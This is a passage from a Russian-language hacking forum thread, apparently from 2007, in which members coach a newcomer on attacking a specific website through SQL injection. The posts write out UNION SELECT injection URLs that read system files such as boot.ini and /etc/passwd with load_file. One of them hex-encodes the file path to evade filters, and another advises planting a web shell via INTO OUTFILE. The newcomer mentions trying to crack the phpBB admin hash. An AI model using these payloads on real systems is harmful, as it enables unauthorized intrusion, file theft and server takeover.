 |
|
27.12.2007, 12:04
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,load_file('C:/boot.ini'),4,5,6/*
попробуй так
|
|
|
28.12.2007, 00:02
|
|
Познающий
Регистрация: 26.12.2007
Сообщений: 38
С нами:
9671107
Репутация:
8
|
|
delay(0) Thanks . )
Токо вот как ты получил 0x70687062625f7573657273 ?
|
|
|
|
28.12.2007, 15:11
|
|
Участник форума
Регистрация: 22.11.2006
Сообщений: 117
С нами:
10246130
Репутация:
141
|
|
Токо вот как ты получил 0x70687062625f7573657273 ?
Перевел название таблицы в hex.
|
|
|
|
28.12.2007, 16:28
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
С нами:
9681386
Репутация:
2145
|
|
Если есть привилегии file_priv, то мона залить шелл скулем через INTO OUTFILE. А коль есть ПхпББ, то через него конечно удобнее. Как? А вот так:
https://forum.antichat.ru/showpost.php?p=198446&postcount=3
|
|
|
|
28.12.2007, 19:40
|
|
Познающий
Регистрация: 26.12.2007
Сообщений: 38
С нами:
9671107
Репутация:
8
|
|
Сообщение от iddqd
Если есть привилегии file_priv, то мона залить шелл скулем через INTO OUTFILE. А коль есть ПхпББ, то через него конечно удобнее. [/U]
А можно немного поподробней об file_priv ...???
А то немогу расхешировать пароль Админа на phpBB.... 
|
|
|
|
28.12.2007, 20:15
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
С нами:
10261766
Репутация:
1079
|
|
короче если прокатит http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,load_file('C:/boot.ini'),4,5,6/*
либо
http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,load_file('/etc/passwd'),4,5,6/*
То file_priv есть, иначе его нет  |
|
|
|
28.12.2007, 20:21
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от Macro
короче если прокатит http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,load_file('C:/boot.ini'),4,5,6/*
либо
http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,load_file('/etc/passwd'),4,5,6/*
То file_priv есть, иначе его нет тогда уж http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,load_file(0x433A2F626F6F742E6 96E69),4,5,6/*
так надежней, к тому же как я понял серв виндовый:
Получил версию : 5.0.21-community-nt
__________________
Карфаген должен быть разрушен...
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
